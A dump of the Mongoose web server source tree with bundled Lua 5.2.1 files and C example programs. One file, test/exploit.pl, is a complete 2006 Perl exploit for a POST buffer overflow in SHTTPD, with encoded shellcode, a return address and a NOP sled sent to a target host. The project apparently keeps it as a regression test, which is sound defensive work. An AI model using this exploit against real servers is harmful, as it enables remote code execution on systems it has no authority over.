luaV_finishOp (lua_State *L); 39 | LUAI_FUNC void luaV_execute (lua_State *L); 40 | LUAI_FUNC void luaV_concat (lua_State *L, int total); 41 | LUAI_FUNC void luaV_arith (lua_State *L, StkId ra, const TValue *rb, 42 | const TValue *rc, TMS op); 43 | LUAI_FUNC void luaV_objlen (lua_State *L, StkId ra, const TValue *rb); 44 | 45 | #endif 46 | -------------------------------------------------------------------------------- /lua-5.2.1/src/ldo.h: -------------------------------------------------------------------------------- 1 | /* 2 | ** $Id: ldo.h,v 2.20 2011/11/29 15:55:08 roberto Exp $ 3 | ** Stack and Call structure of Lua 4 | ** See Copyright Notice in lua.h 5 | */ 6 | 7 | #ifndef ldo_h 8 | #define ldo_h 9 | 10 | 11 | #include "lobject.h" 12 | #include "lstate.h" 13 | #include "lzio.h" 14 | 15 | 16 | #define luaD_checkstack(L,n) if (L->stack_last - L->top <= (n)) \ 17 | luaD_growstack(L, n); else condmovestack(L); 18 | 19 | 20 | #define incr_top(L) {L->top++; luaD_checkstack(L,0);} 21 | 22 | #define savestack(L,p) ((char *)(p) - (char *)L->stack) 23 | #define restorestack(L,n) ((TValue *)((char *)L->stack + (n))) 24 | 25 | 26 | /* type of protected functions, to be ran by `runprotected' */ 27 | typedef void (*Pfunc) (lua_State *L, void *ud); 28 | 29 | LUAI_FUNC int luaD_protectedparser (lua_State *L, ZIO *z, const char *name, 30 | const char *mode); 31 | LUAI_FUNC void luaD_hook (lua_State *L, int event, int line); 32 | LUAI_FUNC int luaD_precall (lua_State *L, StkId func, int nresults); 33 | LUAI_FUNC void luaD_call (lua_State *L, StkId func, int nResults, 34 | int allowyield); 35 | LUAI_FUNC int luaD_pcall (lua_State *L, Pfunc func, void *u, 36 | ptrdiff_t oldtop, ptrdiff_t ef); 37 | LUAI_FUNC int luaD_poscall (lua_State *L, StkId firstResult); 38 | LUAI_FUNC void luaD_reallocstack (lua_State *L, int newsize); 39 | LUAI_FUNC void luaD_growstack (lua_State *L, int n); 40 | LUAI_FUNC void luaD_shrinkstack (lua_State *L); 41 | 42 | LUAI_FUNC l_noret luaD_throw (lua_State *L, int errcode); 43 | LUAI_FUNC int luaD_rawrunprotected (lua_State *L, Pfunc f, void *ud); 44 | 45 | #endif 46 | 47 | -------------------------------------------------------------------------------- /lua-5.2.1/src/lzio.h: -------------------------------------------------------------------------------- 1 | /* 2 | ** $Id: lzio.h,v 1.26 2011/07/15 12:48:03 roberto Exp $ 3 | ** Buffered streams 4 | ** See Copyright Notice in lua.h 5 | */ 6 | 7 | 8 | #ifndef lzio_h 9 | #define lzio_h 10 | 11 | #include "lua.h" 12 | 13 | #include "lmem.h" 14 | 15 | 16 | #define EOZ (-1) /* end of stream */ 17 | 18 | typedef struct Zio ZIO; 19 | 20 | #define zgetc(z) (((z)->n--)>0 ? cast_uchar(*(z)->p++) : luaZ_fill(z)) 21 | 22 | 23 | typedef struct Mbuffer { 24 | char *buffer; 25 | size_t n; 26 | size_t buffsize; 27 | } Mbuffer; 28 | 29 | #define luaZ_initbuffer(L, buff) ((buff)->buffer = NULL, (buff)->buffsize = 0) 30 | 31 | #define luaZ_buffer(buff) ((buff)->buffer) 32 | #define luaZ_sizebuffer(buff) ((buff)->buffsize) 33 | #define luaZ_bufflen(buff) ((buff)->n) 34 | 35 | #define luaZ_resetbuffer(buff) ((buff)->n = 0) 36 | 37 | 38 | #define luaZ_resizebuffer(L, buff, size) \ 39 | (luaM_reallocvector(L, (buff)->buffer, (buff)->buffsize, size, char), \ 40 | (buff)->buffsize = size) 41 | 42 | #define luaZ_freebuffer(L, buff) luaZ_resizebuffer(L, buff, 0) 43 | 44 | 45 | LUAI_FUNC char *luaZ_openspace (lua_State *L, Mbuffer *buff, size_t n); 46 | LUAI_FUNC void luaZ_init (lua_State *L, ZIO *z, lua_Reader reader, 47 | void *data); 48 | LUAI_FUNC size_t luaZ_read (ZIO* z, void* b, size_t n); /* read next n bytes */ 49 | 50 | 51 | 52 | /* --------- Private Part ------------------ */ 53 | 54 | struct Zio { 55 | size_t n; /* bytes still unread */ 56 | const char *p; /* current position in buffer */ 57 | lua_Reader reader; /* reader function */ 58 | void* data; /* additional data */ 59 | lua_State *L; /* Lua state (for reader) */ 60 | }; 61 | 62 | 63 | LUAI_FUNC int luaZ_fill (ZIO *z); 64 | 65 | #endif 66 | -------------------------------------------------------------------------------- /lua-5.2.1/src/lmem.h: -------------------------------------------------------------------------------- 1 | /* 2 | ** $Id: lmem.h,v 1.38 2011/12/02 13:26:54 roberto Exp $ 3 | ** Interface to Memory Manager 4 | ** See Copyright Notice in lua.h 5 | */ 6 | 7 | #ifndef lmem_h 8 | #define lmem_h 9 | 10 | 11 | #include 12 | 13 | #include "llimits.h" 14 | #include "lua.h" 15 | 16 | 17 | #define luaM_reallocv(L,b,on,n,e) \ 18 | ((cast(size_t, (n)+1) > MAX_SIZET/(e)) ? /* +1 to avoid warnings */ \ 19 | (luaM_toobig(L), (void *)0) : \ 20 | luaM_realloc_(L, (b), (on)*(e), (n)*(e))) 21 | 22 | #define luaM_freemem(L, b, s) luaM_realloc_(L, (b), (s), 0) 23 | #define luaM_free(L, b) luaM_realloc_(L, (b), sizeof(*(b)), 0) 24 | #define luaM_freearray(L, b, n) luaM_reallocv(L, (b), n, 0, sizeof((b)[0])) 25 | 26 | #define luaM_malloc(L,s) luaM_realloc_(L, NULL, 0, (s)) 27 | #define luaM_new(L,t) cast(t *, luaM_malloc(L, sizeof(t))) 28 | #define luaM_newvector(L,n,t) \ 29 | cast(t *, luaM_reallocv(L, NULL, 0, n, sizeof(t))) 30 | 31 | #define luaM_newobject(L,tag,s) luaM_realloc_(L, NULL, tag, (s)) 32 | 33 | #define luaM_growvector(L,v,nelems,size,t,limit,e) \ 34 | if ((nelems)+1 > (size)) \ 35 | ((v)=cast(t *, luaM_growaux_(L,v,&(size),sizeof(t),limit,e))) 36 | 37 | #define luaM_reallocvector(L, v,oldn,n,t) \ 38 | ((v)=cast(t *, luaM_reallocv(L, v, oldn, n, sizeof(t)))) 39 | 40 | LUAI_FUNC l_noret luaM_toobig (lua_State *L); 41 | 42 | /* not to be called directly */ 43 | LUAI_FUNC void *luaM_realloc_ (lua_State *L, void *block, size_t oldsize, 44 | size_t size); 45 | LUAI_FUNC void *luaM_growaux_ (lua_State *L, void *block, int *size, 46 | size_t size_elem, int limit, 47 | const char *what); 48 | 49 | #endif 50 | 51 | -------------------------------------------------------------------------------- /examples/html/login.html: -------------------------------------------------------------------------------- 1 | 3 | 4 | 6 | 7 | Mongoose chat: login 8 | 9 | 16 | 17 | 18 | 28 | 29 | 30 |
31 |

Mongoose chat server login

32 |
33 | Username and password can be any non-empty strings. 34 |
35 |
36 |
37 |
38 |
39 | 40 |
41 |
42 | 43 | 44 | -------------------------------------------------------------------------------- /test/page.lp: -------------------------------------------------------------------------------- 1 | HTTP/1.0 200 OK 2 | Content-Type: text/html 3 | 4 | 5 | 6 | 7 |

This is an example Lua server page served by 8 | Mongoose web server. 9 | Mongoose has Lua, Sqlite, and other functionality built in the binary. 10 | This example page stores the request in the Sqlite database, and shows 11 | all requests done previously.

12 |

Today is 13 | 14 |

15 | 
57 | 
58 | -------------------------------------------------------------------------------- /examples/hello.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include "mongoose.h" 4 | 5 | // This function will be called by mongoose on every new request. 6 | static int begin_request_handler(struct mg_connection *conn) { 7 | const struct mg_request_info *request_info = mg_get_request_info(conn); 8 | char content[100]; 9 | 10 | // Prepare the message we're going to send 11 | int content_length = snprintf(content, sizeof(content), 12 | "Hello from mongoose! Remote port: %d", 13 | request_info->remote_port); 14 | 15 | // Send HTTP reply to the client 16 | mg_printf(conn, 17 | "HTTP/1.1 200 OK\r\n" 18 | "Content-Type: text/plain\r\n" 19 | "Content-Length: %d\r\n" // Always set Content-Length 20 | "\r\n" 21 | "%s", 22 | content_length, content); 23 | 24 | // Returning non-zero tells mongoose that our function has replied to 25 | // the client, and mongoose should not send client any more data. 26 | return 1; 27 | } 28 | 29 | int main(void) { 30 | struct mg_context *ctx; 31 | struct mg_callbacks callbacks; 32 | 33 | // List of options. Last element must be NULL. 34 | const char *options[] = {"listening_ports", "8080", NULL}; 35 | 36 | // Prepare callbacks structure. We have only one callback, the rest are NULL. 37 | memset(&callbacks, 0, sizeof(callbacks)); 38 | callbacks.begin_request = begin_request_handler; 39 | 40 | // Start the web server. 41 | ctx = mg_start(&callbacks, NULL, options); 42 | 43 | // Wait until user hits "enter". Server is running in separate thread. 44 | // Navigating to http://localhost:8080 will invoke begin_request_handler(). 45 | getchar(); 46 | 47 | // Stop the server. 48 | mg_stop(ctx); 49 | 50 | return 0; 51 | } 52 | -------------------------------------------------------------------------------- /lua-5.2.1/src/lzio.c: -------------------------------------------------------------------------------- 1 | /* 2 | ** $Id: lzio.c,v 1.35 2012/05/14 13:34:18 roberto Exp $ 3 | ** Buffered streams 4 | ** See Copyright Notice in lua.h 5 | */ 6 | 7 | 8 | #include 9 | 10 | #define lzio_c 11 | #define LUA_CORE 12 | 13 | #include "lua.h" 14 | 15 | #include "llimits.h" 16 | #include "lmem.h" 17 | #include "lstate.h" 18 | #include "lzio.h" 19 | 20 | 21 | int luaZ_fill (ZIO *z) { 22 | size_t size; 23 | lua_State *L = z->L; 24 | const char *buff; 25 | lua_unlock(L); 26 | buff = z->reader(L, z->data, &size); 27 | lua_lock(L); 28 | if (buff == NULL || size == 0) 29 | return EOZ; 30 | z->n = size - 1; /* discount char being returned */ 31 | z->p = buff; 32 | return cast_uchar(*(z->p++)); 33 | } 34 | 35 | 36 | void luaZ_init (lua_State *L, ZIO *z, lua_Reader reader, void *data) { 37 | z->L = L; 38 | z->reader = reader; 39 | z->data = data; 40 | z->n = 0; 41 | z->p = NULL; 42 | } 43 | 44 | 45 | /* --------------------------------------------------------------- read --- */ 46 | size_t luaZ_read (ZIO *z, void *b, size_t n) { 47 | while (n) { 48 | size_t m; 49 | if (z->n == 0) { /* no bytes in buffer? */ 50 | if (luaZ_fill(z) == EOZ) /* try to read more */ 51 | return n; /* no more input; return number of missing bytes */ 52 | else { 53 | z->n++; /* luaZ_fill consumed first byte; put it back */ 54 | z->p--; 55 | } 56 | } 57 | m = (n <= z->n) ? n : z->n; /* min. between n and z->n */ 58 | memcpy(b, z->p, m); 59 | z->n -= m; 60 | z->p += m; 61 | b = (char *)b + m; 62 | n -= m; 63 | } 64 | return 0; 65 | } 66 | 67 | /* ------------------------------------------------------------------------ */ 68 | char *luaZ_openspace (lua_State *L, Mbuffer *buff, size_t n) { 69 | if (n > buff->buffsize) { 70 | if (n < LUA_MINBUFFER) n = LUA_MINBUFFER; 71 | luaZ_resizebuffer(L, buff, n); 72 | } 73 | return buff->buffer; 74 | } 75 | 76 | 77 | -------------------------------------------------------------------------------- /lua-5.2.1/src/linit.c: -------------------------------------------------------------------------------- 1 | /* 2 | ** $Id: linit.c,v 1.32 2011/04/08 19:17:36 roberto Exp $ 3 | ** Initialization of libraries for lua.c and other clients 4 | ** See Copyright Notice in lua.h 5 | */ 6 | 7 | 8 | /* 9 | ** If you embed Lua in your program and need to open the standard 10 | ** libraries, call luaL_openlibs in your program. If you need a 11 | ** different set of libraries, copy this file to your project and edit 12 | ** it to suit your needs. 13 | */ 14 | 15 | 16 | #define linit_c 17 | #define LUA_LIB 18 | 19 | #include "lua.h" 20 | 21 | #include "lualib.h" 22 | #include "lauxlib.h" 23 | 24 | 25 | /* 26 | ** these libs are loaded by lua.c and are readily available to any Lua 27 | ** program 28 | */ 29 | static const luaL_Reg loadedlibs[] = { 30 | {"_G", luaopen_base}, 31 | {LUA_LOADLIBNAME, luaopen_package}, 32 | {LUA_COLIBNAME, luaopen_coroutine}, 33 | {LUA_TABLIBNAME, luaopen_table}, 34 | {LUA_IOLIBNAME, luaopen_io}, 35 | {LUA_OSLIBNAME, luaopen_os}, 36 | {LUA_STRLIBNAME, luaopen_string}, 37 | {LUA_BITLIBNAME, luaopen_bit32}, 38 | {LUA_MATHLIBNAME, luaopen_math}, 39 | {LUA_DBLIBNAME, luaopen_debug}, 40 | {NULL, NULL} 41 | }; 42 | 43 | 44 | /* 45 | ** these libs are preloaded and must be required before used 46 | */ 47 | static const luaL_Reg preloadedlibs[] = { 48 | {NULL, NULL} 49 | }; 50 | 51 | 52 | LUALIB_API void luaL_openlibs (lua_State *L) { 53 | const luaL_Reg *lib; 54 | /* call open functions from 'loadedlibs' and set results to global table */ 55 | for (lib = loadedlibs; lib->func; lib++) { 56 | luaL_requiref(L, lib->name, lib->func, 1); 57 | lua_pop(L, 1); /* remove lib */ 58 | } 59 | /* add open functions from 'preloadedlibs' into 'package.preload' table */ 60 | luaL_getsubtable(L, LUA_REGISTRYINDEX, "_PRELOAD"); 61 | for (lib = preloadedlibs; lib->func; lib++) { 62 | lua_pushcfunction(L, lib->func); 63 | lua_setfield(L, -2, lib->name); 64 | } 65 | lua_pop(L, 1); /* remove _PRELOAD table */ 66 | } 67 | 68 | -------------------------------------------------------------------------------- /examples/upload.c: -------------------------------------------------------------------------------- 1 | // Copyright (c) 2004-2012 Sergey Lyubka 2 | // This file is a part of mongoose project, http://github.com/valenok/mongoose 3 | 4 | #include 5 | #include 6 | #include 7 | #include 8 | #ifdef _WIN32 9 | #include 10 | #include 11 | #define strtoll strtol 12 | typedef __int64 int64_t; 13 | #else 14 | #include 15 | #include 16 | #endif // !_WIN32 17 | 18 | #include "mongoose.h" 19 | 20 | static int begin_request_handler(struct mg_connection *conn) { 21 | if (!strcmp(mg_get_request_info(conn)->uri, "/handle_post_request")) { 22 | mg_printf(conn, "%s", "HTTP/1.0 200 OK\r\n\r\n"); 23 | mg_upload(conn, "/tmp"); 24 | } else { 25 | // Show HTML form. Make sure it has enctype="multipart/form-data" attr. 26 | static const char *html_form = 27 | "Upload example." 28 | "
" 30 | "
" 31 | "" 32 | "
"; 33 | 34 | mg_printf(conn, "HTTP/1.0 200 OK\r\n" 35 | "Content-Length: %d\r\n" 36 | "Content-Type: text/html\r\n\r\n%s", 37 | (int) strlen(html_form), html_form); 38 | } 39 | 40 | // Mark request as processed 41 | return 1; 42 | } 43 | 44 | static void upload_handler(struct mg_connection *conn, const char *path) { 45 | mg_printf(conn, "Saved [%s]", path); 46 | } 47 | 48 | int main(void) { 49 | struct mg_context *ctx; 50 | const char *options[] = {"listening_ports", "8080", NULL}; 51 | struct mg_callbacks callbacks; 52 | 53 | memset(&callbacks, 0, sizeof(callbacks)); 54 | callbacks.begin_request = begin_request_handler; 55 | callbacks.upload = upload_handler; 56 | ctx = mg_start(&callbacks, NULL, options); 57 | getchar(); // Wait until user hits "enter" 58 | mg_stop(ctx); 59 | 60 | return 0; 61 | } 62 | -------------------------------------------------------------------------------- /lua-5.2.1/src/ltm.c: -------------------------------------------------------------------------------- 1 | /* 2 | ** $Id: ltm.c,v 2.14 2011/06/02 19:31:40 roberto Exp $ 3 | ** Tag methods 4 | ** See Copyright Notice in lua.h 5 | */ 6 | 7 | 8 | #include 9 | 10 | #define ltm_c 11 | #define LUA_CORE 12 | 13 | #include "lua.h" 14 | 15 | #include "lobject.h" 16 | #include "lstate.h" 17 | #include "lstring.h" 18 | #include "ltable.h" 19 | #include "ltm.h" 20 | 21 | 22 | static const char udatatypename[] = "userdata"; 23 | 24 | LUAI_DDEF const char *const luaT_typenames_[LUA_TOTALTAGS] = { 25 | "no value", 26 | "nil", "boolean", udatatypename, "number", 27 | "string", "table", "function", udatatypename, "thread", 28 | "proto", "upval" /* these last two cases are used for tests only */ 29 | }; 30 | 31 | 32 | void luaT_init (lua_State *L) { 33 | static const char *const luaT_eventname[] = { /* ORDER TM */ 34 | "__index", "__newindex", 35 | "__gc", "__mode", "__len", "__eq", 36 | "__add", "__sub", "__mul", "__div", "__mod", 37 | "__pow", "__unm", "__lt", "__le", 38 | "__concat", "__call" 39 | }; 40 | int i; 41 | for (i=0; itmname[i] = luaS_new(L, luaT_eventname[i]); 43 | luaS_fix(G(L)->tmname[i]); /* never collect these names */ 44 | } 45 | } 46 | 47 | 48 | /* 49 | ** function to be used with macro "fasttm": optimized for absence of 50 | ** tag methods 51 | */ 52 | const TValue *luaT_gettm (Table *events, TMS event, TString *ename) { 53 | const TValue *tm = luaH_getstr(events, ename); 54 | lua_assert(event <= TM_EQ); 55 | if (ttisnil(tm)) { /* no tag method? */ 56 | events->flags |= cast_byte(1u<metatable; 68 | break; 69 | case LUA_TUSERDATA: 70 | mt = uvalue(o)->metatable; 71 | break; 72 | default: 73 | mt = G(L)->mt[ttypenv(o)]; 74 | } 75 | return (mt ? luaH_getstr(mt, G(L)->tmname[event]) : luaO_nilobject); 76 | } 77 | 78 | -------------------------------------------------------------------------------- /test/exploit.pl: -------------------------------------------------------------------------------- 1 | #!/usr/bin/perl -w 2 | 3 | # SHTTPD Buffer Overflow (POST) 4 | # Tested on SHTTPD 1.34 WinXP SP1 Hebrew 5 | # http://shttpd.sourceforge.net 6 | # Codded By SkOd, 05/10/2006 7 | # ISRAEL 8 | # 9 | # details: 10 | # EAX 00000194 , ECX 009EBCA8 , EDX 00BC488C 11 | # EBX 00000004 , EIP 41414141 , EBP 41414141 12 | # ESI 00BC4358 , EDI 00BCC3CC ASCII "POST" 13 | # ESP 009EFC08 ASCII 41,"AA...AAA" 14 | 15 | 16 | use IO::Socket; 17 | 18 | sub fail(){ 19 | syswrite STDOUT, "[-]Connect failed.\n"; 20 | exit; 21 | } 22 | 23 | sub header() 24 | { 25 | print("##################################\n"); 26 | print("SHTTPD (POST) Buffer Overflow.\n"); 27 | print("[http://shttpd.sourceforge.net]\n"); 28 | print("Codded By SkOd, 05/10/2006\n"); 29 | print("##################################\n"); 30 | } 31 | 32 | if (@ARGV < 1) 33 | { 34 | &header(); 35 | print("Usage: Perl shttpd.pl [host]\n"); 36 | exit; 37 | } 38 | 39 | &header(); 40 | $host=$ARGV[0]; 41 | $port="80"; 42 | $host=~ s/(http:\/\/)//eg; 43 | 44 | #win32_exec- CMD=calc Size=160 (metasploit.com) 45 | $shell = 46 | "%33%c9%83%e9%de%d9%ee%d9%74%24%f4%5b%81%73%13%52". 47 | "%ca%2b%e0%83%eb%fc%e2%f4%ae%22%6f%e0%52%ca%a0%a5". 48 | "%6e%41%57%e5%2a%cb%c4%6b%1d%d2%a0%bf%72%cb%c0%a9". 49 | "%d9%fe%a0%e1%bc%fb%eb%79%fe%4e%eb%94%55%0b%e1%ed". 50 | "%53%08%c0%14%69%9e%0f%e4%27%2f%a0%bf%76%cb%c0%86". 51 | "%d9%c6%60%6b%0d%d6%2a%0b%d9%d6%a0%e1%b9%43%77%c4". 52 | "%56%09%1a%20%36%41%6b%d0%d7%0a%53%ec%d9%8a%27%6b". 53 | "%22%d6%86%6b%3a%c2%c0%e9%d9%4a%9b%e0%52%ca%a0%88". 54 | "%0d%a2%b3%1e%d8%c4%7c%1f%b5%a9%4a%8c%31%ca%2b%e0"; 55 | 56 | 57 | $esp="%73%C3%2A%4F"; #[4F2AC373]JMP ESP (kernel32.dll) WinXP SP1(Hebrew) 58 | $buff=("%41"x8).$esp.("%90"x85).$shell; #Shellcode+NOP=245 59 | 60 | print length($buff) . "\n"; 61 | 62 | $sock = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$host", PeerPort => "$port") || &fail(); 63 | syswrite STDOUT,"[+]Connected.\n"; 64 | print $sock "POST /$buff HTTP/1.1\n"; 65 | print $sock "HOST:$host\n\n"; 66 | syswrite STDOUT,"[+]Done.\n"; 67 | close($sock); 68 | 69 | # milw0rm.com [2006-10-05] 70 | -------------------------------------------------------------------------------- /examples/post.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include "mongoose.h" 4 | 5 | static const char *html_form = 6 | "POST example." 7 | "
" 8 | "Input 1:
" 9 | "Input 2:
" 10 | "" 11 | "
"; 12 | 13 | static int begin_request_handler(struct mg_connection *conn) { 14 | const struct mg_request_info *ri = mg_get_request_info(conn); 15 | char post_data[1024], input1[sizeof(post_data)], input2[sizeof(post_data)]; 16 | int post_data_len; 17 | 18 | if (!strcmp(ri->uri, "/handle_post_request")) { 19 | // User has submitted a form, show submitted data and a variable value 20 | post_data_len = mg_read(conn, post_data, sizeof(post_data)); 21 | 22 | // Parse form data. input1 and input2 are guaranteed to be NUL-terminated 23 | mg_get_var(post_data, post_data_len, "input_1", input1, sizeof(input1)); 24 | mg_get_var(post_data, post_data_len, "input_2", input2, sizeof(input2)); 25 | 26 | // Send reply to the client, showing submitted form values. 27 | mg_printf(conn, "HTTP/1.0 200 OK\r\n" 28 | "Content-Type: text/plain\r\n\r\n" 29 | "Submitted data: [%.*s]\n" 30 | "Submitted data length: %d bytes\n" 31 | "input_1: [%s]\n" 32 | "input_2: [%s]\n", 33 | post_data_len, post_data, post_data_len, input1, input2); 34 | } else { 35 | // Show HTML form. 36 | mg_printf(conn, "HTTP/1.0 200 OK\r\n" 37 | "Content-Length: %d\r\n" 38 | "Content-Type: text/html\r\n\r\n%s", 39 | (int) strlen(html_form), html_form); 40 | } 41 | return 1; // Mark request as processed 42 | } 43 | 44 | int main(void) { 45 | struct mg_context *ctx; 46 | const char *options[] = {"listening_ports", "8080", NULL}; 47 | struct mg_callbacks callbacks; 48 | 49 | memset(&callbacks, 0, sizeof(callbacks)); 50 | callbacks.begin_request = begin_request_handler; 51 | ctx = mg_start(&callbacks, NULL, options); 52 | getchar(); // Wait until user hits "enter" 53 | mg_stop(ctx); 54 | 55 | return 0; 56 | } 57 | -------------------------------------------------------------------------------- /lua-5.2.1/src/lctype.h: -------------------------------------------------------------------------------- 1 | /* 2 | ** $Id: lctype.h,v 1.12 2011/07/15 12:50:29 roberto Exp $ 3 | ** 'ctype' functions for Lua 4 | ** See Copyright Notice in lua.h 5 | */ 6 | 7 | #ifndef lctype_h 8 | #define lctype_h 9 | 10 | #include "lua.h" 11 | 12 | 13 | /* 14 | ** WARNING: the functions defined here do not necessarily correspond 15 | ** to the similar functions in the standard C ctype.h. They are 16 | ** optimized for the specific needs of Lua 17 | */ 18 | 19 | #if !defined(LUA_USE_CTYPE) 20 | 21 | #if 'A' == 65 && '0' == 48 22 | /* ASCII case: can use its own tables; faster and fixed */ 23 | #define LUA_USE_CTYPE 0 24 | #else 25 | /* must use standard C ctype */ 26 | #define LUA_USE_CTYPE 1 27 | #endif 28 | 29 | #endif 30 | 31 | 32 | #if !LUA_USE_CTYPE /* { */ 33 | 34 | #include 35 | 36 | #include "llimits.h" 37 | 38 | 39 | #define ALPHABIT 0 40 | #define DIGITBIT 1 41 | #define PRINTBIT 2 42 | #define SPACEBIT 3 43 | #define XDIGITBIT 4 44 | 45 | 46 | #define MASK(B) (1 << (B)) 47 | 48 | 49 | /* 50 | ** add 1 to char to allow index -1 (EOZ) 51 | */ 52 | #define testprop(c,p) (luai_ctype_[(c)+1] & (p)) 53 | 54 | /* 55 | ** 'lalpha' (Lua alphabetic) and 'lalnum' (Lua alphanumeric) both include '_' 56 | */ 57 | #define lislalpha(c) testprop(c, MASK(ALPHABIT)) 58 | #define lislalnum(c) testprop(c, (MASK(ALPHABIT) | MASK(DIGITBIT))) 59 | #define lisdigit(c) testprop(c, MASK(DIGITBIT)) 60 | #define lisspace(c) testprop(c, MASK(SPACEBIT)) 61 | #define lisprint(c) testprop(c, MASK(PRINTBIT)) 62 | #define lisxdigit(c) testprop(c, MASK(XDIGITBIT)) 63 | 64 | /* 65 | ** this 'ltolower' only works for alphabetic characters 66 | */ 67 | #define ltolower(c) ((c) | ('A' ^ 'a')) 68 | 69 | 70 | /* two more entries for 0 and -1 (EOZ) */ 71 | LUAI_DDEC const lu_byte luai_ctype_[UCHAR_MAX + 2]; 72 | 73 | 74 | #else /* }{ */ 75 | 76 | /* 77 | ** use standard C ctypes 78 | */ 79 | 80 | #include 81 | 82 | 83 | #define lislalpha(c) (isalpha(c) || (c) == '_') 84 | #define lislalnum(c) (isalnum(c) || (c) == '_') 85 | #define lisdigit(c) (isdigit(c)) 86 | #define lisspace(c) (isspace(c)) 87 | #define lisprint(c) (isprint(c)) 88 | #define lisxdigit(c) (isxdigit(c)) 89 | 90 | #define ltolower(c) (tolower(c)) 91 | 92 | #endif /* } */ 93 | 94 | #endif 95 | 96 | -------------------------------------------------------------------------------- /lua-5.2.1/src/llex.h: -------------------------------------------------------------------------------- 1 | /* 2 | ** $Id: llex.h,v 1.72 2011/11/30 12:43:51 roberto Exp $ 3 | ** Lexical Analyzer 4 | ** See Copyright Notice in lua.h 5 | */ 6 | 7 | #ifndef llex_h 8 | #define llex_h 9 | 10 | #include "lobject.h" 11 | #include "lzio.h" 12 | 13 | 14 | #define FIRST_RESERVED 257 15 | 16 | 17 | 18 | /* 19 | * WARNING: if you change the order of this enumeration, 20 | * grep "ORDER RESERVED" 21 | */ 22 | enum RESERVED { 23 | /* terminal symbols denoted by reserved words */ 24 | TK_AND = FIRST_RESERVED, TK_BREAK, 25 | TK_DO, TK_ELSE, TK_ELSEIF, TK_END, TK_FALSE, TK_FOR, TK_FUNCTION, 26 | TK_GOTO, TK_IF, TK_IN, TK_LOCAL, TK_NIL, TK_NOT, TK_OR, TK_REPEAT, 27 | TK_RETURN, TK_THEN, TK_TRUE, TK_UNTIL, TK_WHILE, 28 | /* other terminal symbols */ 29 | TK_CONCAT, TK_DOTS, TK_EQ, TK_GE, TK_LE, TK_NE, TK_DBCOLON, TK_EOS, 30 | TK_NUMBER, TK_NAME, TK_STRING 31 | }; 32 | 33 | /* number of reserved words */ 34 | #define NUM_RESERVED (cast(int, TK_WHILE-FIRST_RESERVED+1)) 35 | 36 | 37 | typedef union { 38 | lua_Number r; 39 | TString *ts; 40 | } SemInfo; /* semantics information */ 41 | 42 | 43 | typedef struct Token { 44 | int token; 45 | SemInfo seminfo; 46 | } Token; 47 | 48 | 49 | /* state of the lexer plus state of the parser when shared by all 50 | functions */ 51 | typedef struct LexState { 52 | int current; /* current character (charint) */ 53 | int linenumber; /* input line counter */ 54 | int lastline; /* line of last token `consumed' */ 55 | Token t; /* current token */ 56 | Token lookahead; /* look ahead token */ 57 | struct FuncState *fs; /* current function (parser) */ 58 | struct lua_State *L; 59 | ZIO *z; /* input stream */ 60 | Mbuffer *buff; /* buffer for tokens */ 61 | struct Dyndata *dyd; /* dynamic structures used by the parser */ 62 | TString *source; /* current source name */ 63 | TString *envn; /* environment variable name */ 64 | char decpoint; /* locale decimal point */ 65 | } LexState; 66 | 67 | 68 | LUAI_FUNC void luaX_init (lua_State *L); 69 | LUAI_FUNC void luaX_setinput (lua_State *L, LexState *ls, ZIO *z, 70 | TString *source, int firstchar); 71 | LUAI_FUNC TString *luaX_newstring (LexState *ls, const char *str, size_t l); 72 | LUAI_FUNC void luaX_next (LexState *ls); 73 | LUAI_FUNC int luaX_lookahead (LexState *ls); 74 | LUAI_FUNC l_noret luaX_syntaxerror (LexState *ls, const char *s); 75 | LUAI_FUNC const char *luaX_token2str (LexState *ls, int token); 76 | 77 | 78 | #endif 79 | -------------------------------------------------------------------------------- /lua-5.2.1/src/lctype.c: -------------------------------------------------------------------------------- 1 | /* 2 | ** $Id: lctype.c,v 1.11 2011/10/03 16:19:23 roberto Exp $ 3 | ** 'ctype' functions for Lua 4 | ** See Copyright Notice in lua.h 5 | */ 6 | 7 | #define lctype_c 8 | #define LUA_CORE 9 | 10 | #include "lctype.h" 11 | 12 | #if !LUA_USE_CTYPE /* { */ 13 | 14 | #include 15 | 16 | LUAI_DDEF const lu_byte luai_ctype_[UCHAR_MAX + 2] = { 17 | 0x00, /* EOZ */ 18 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, /* 0. */ 19 | 0x00, 0x08, 0x08, 0x08, 0x08, 0x08, 0x00, 0x00, 20 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, /* 1. */ 21 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 22 | 0x0c, 0x04, 0x04, 0x04, 0x04, 0x04, 0x04, 0x04, /* 2. */ 23 | 0x04, 0x04, 0x04, 0x04, 0x04, 0x04, 0x04, 0x04, 24 | 0x16, 0x16, 0x16, 0x16, 0x16, 0x16, 0x16, 0x16, /* 3. */ 25 | 0x16, 0x16, 0x04, 0x04, 0x04, 0x04, 0x04, 0x04, 26 | 0x04, 0x15, 0x15, 0x15, 0x15, 0x15, 0x15, 0x05, /* 4. */ 27 | 0x05, 0x05, 0x05, 0x05, 0x05, 0x05, 0x05, 0x05, 28 | 0x05, 0x05, 0x05, 0x05, 0x05, 0x05, 0x05, 0x05, /* 5. */ 29 | 0x05, 0x05, 0x05, 0x04, 0x04, 0x04, 0x04, 0x05, 30 | 0x04, 0x15, 0x15, 0x15, 0x15, 0x15, 0x15, 0x05, /* 6. */ 31 | 0x05, 0x05, 0x05, 0x05, 0x05, 0x05, 0x05, 0x05, 32 | 0x05, 0x05, 0x05, 0x05, 0x05, 0x05, 0x05, 0x05, /* 7. */ 33 | 0x05, 0x05, 0x05, 0x04, 0x04, 0x04, 0x04, 0x00, 34 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, /* 8. */ 35 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 36 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, /* 9. */ 37 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 38 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, /* a. */ 39 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 40 | 0x00, 0x00, 0x00, 0x00, 0x00, 